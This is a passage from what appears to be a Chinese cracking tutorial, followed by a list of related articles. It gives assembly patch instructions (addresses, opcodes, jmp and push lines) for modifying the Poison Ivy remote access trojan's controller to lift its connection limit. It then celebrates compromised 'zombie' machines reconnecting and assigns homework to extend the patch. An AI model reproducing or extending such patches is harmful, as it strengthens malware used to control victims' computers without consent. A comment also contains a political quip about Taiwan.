00515930 .- E9 04E10800 jmp 005A3A39
為了使程序正常運行我們還要在005A3A50的下面加入如下代碼:
005A3A55 68 840D0000 push 0D84 ; 把00515930原有功能修改了,最后還是要加上的,所謂“有借有還,再借不難”
005A3A5A - E9 D61EF7FF jmp 00515935 ; 回歸原位,這就相當(dāng)于臺灣再咋拗,到頭還是得回歸咱中國,呵呵:-)
OK,用OllyICE保存EXE文件,讓我來測試一下……
打開Poison Ivy.ini在[Settings]下加入Crack=0,呵呵一個也連接不上了。把Crack=0改為10000,哈哈,肉雞出現(xiàn)了??!
再把Crack=0刪除,哦~~~~,肉雞又出現(xiàn)了?。。。?!成功!?。。。?br />
最后,給有對本文興趣的朋友留個小作業(yè):繼續(xù)對00514609處進(jìn)行逆向工程,使程序可以在關(guān)閉時自動保存當(dāng)前的最大連
接數(shù)……OK,就到這把!??!
相關(guān)文章
- “CMOS密碼”就是通常所說的“開機密碼”,主要是為了防止別人使用自已的計算機,設(shè)置的一個屏障2023-08-01
QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實沒啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04- QQ截圖是我用過的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨立版目前除了屏幕錄制功能其他都逆出來了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導(dǎo)致軟件無法安裝的解決方法
很多電腦用戶在考慮自己電腦磁盤分區(qū)安全時會采用 Windows 自帶的 BitLocker 加密工具對電腦磁盤分區(qū)進(jìn)行加密。但有些人加密后就會忘記自己設(shè)置的密碼從而導(dǎo)致在安裝其它軟2020-11-25防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細(xì)介紹了如何才能防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-06-27徹底防止計算機泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計算機泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價值,2017-06-27- 最近有電腦用戶反應(yīng)量子計算機可以破解下載的所有的加密算法嗎?其實也不是不可以,下面虛擬就為大家講解買臺量子計算機,如何分分鐘破解加密算法2016-09-26
怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁后門。黑客通常會通過它控制別人網(wǎng)絡(luò)服務(wù)器,那么怎么破解webshell密碼呢?一起來看看吧2016-09-19- 本文討論了針對Linux系統(tǒng)全盤加密的冷啟動攻擊,大家都認(rèn)為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28
防止泄露公司機密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對日漸嚴(yán)重的內(nèi)部泄密事件,我們?nèi)绾问刈o(hù)企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個企業(yè)領(lǐng)導(dǎo)面前的一大問題。其實,針對內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17